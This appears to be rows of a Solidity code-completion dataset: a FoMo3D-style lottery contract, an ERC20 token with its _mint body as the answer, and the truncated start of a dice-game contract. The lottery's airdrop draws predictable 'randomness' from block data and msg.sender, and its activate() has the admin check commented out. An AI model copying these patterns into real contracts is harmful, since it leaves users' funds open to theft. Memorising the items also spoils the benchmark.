while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } <FILL_FUNCTION> /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 3% out to community rewards uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { // This ensures Team Just cannot influence the outcome of FoMo3D with // bank migrations by breaking outgoing transactions. // Something we would never do. But that's not the point. // We spent 2000$ in eth re-deploying just to patch this, we hold the // highest belief that everything we create should be trustless. // Team JUST, The name you shouldn't have to trust. _p3d = _com; _com = 0; } // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } // pay out p3d _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { // deposit to divies contract uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate // require(msg.sender == admin, "only admin can activate"); // erik // can only be ran once require(activated_ == false, "FOMO Short already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } }
// if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_);
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns)
/** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns)
15857
ERC20
_mint
contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } <FILL_FUNCTION> /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount);
function _mint(address account, uint256 amount) internal virtual
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual
43475
DSG_Dice
result
contract DSG_Dice{ using SafeMath for uint256; address constant public DSG_ADDRESS = 0x696826C18A6Bc9Be4BBfe3c3A6BB9f5a69388687; uint256 public totalDividends; uint256 public totalWinnings; uint256 public totalTurnover; uint256 public totalPlayed; uint256 public maxBet; uint256 public minBet; uint256 public minContractBalance; uint256 public minBetForJackpot; uint256 public jackpotBalance; uint256 public nextPayout; uint256 public ownerDeposit; address[2] public owners; address[2] public candidates; bool public paused; mapping (address => Bet) private usersBets; struct Bet { uint blockNumber; uint bet; bool[6] dice; } modifier onlyOwners(){ require(msg.sender == owners[0] || msg.sender == owners[1]); _; } modifier onlyUsers(){ require(tx.origin == msg.sender); _; } modifier checkBlockNumber(){ uint256 blockNumber = usersBets[msg.sender].blockNumber; if(block.number.sub(blockNumber) >= 250 && blockNumber > 0){ emit Result(msg.sender, 601, 0, jackpotBalance, usersBets[msg.sender].bet, usersBets[msg.sender].dice, 0); delete usersBets[msg.sender]; } else{ _; } } constructor(address secondOwner) public payable{ owners[0] = msg.sender; owners[1] = secondOwner; ownerDeposit = msg.value; jackpotBalance = jackpotBalance.add(ownerDeposit.div(1000)); } function play(bool dice1, bool dice2, bool dice3, bool dice4, bool dice5, bool dice6) public payable checkBlockNumber onlyUsers{ uint256 bet = msg.value; bool[6] memory dice = [dice1, dice2, dice3, dice4, dice5, dice6]; require(getXRate(dice) != 0, "Sides of dice is incorrect"); require(checkSolvency(bet), "Not enough ETH in contract"); require(paused == false, "Game was stopped"); require(bet >= minBet && bet <= maxBet, "Amount should be within range"); require(usersBets[msg.sender].bet == 0, "You have already bet"); usersBets[msg.sender].bet = bet; usersBets[msg.sender].blockNumber = block.number; usersBets[msg.sender].dice = dice; 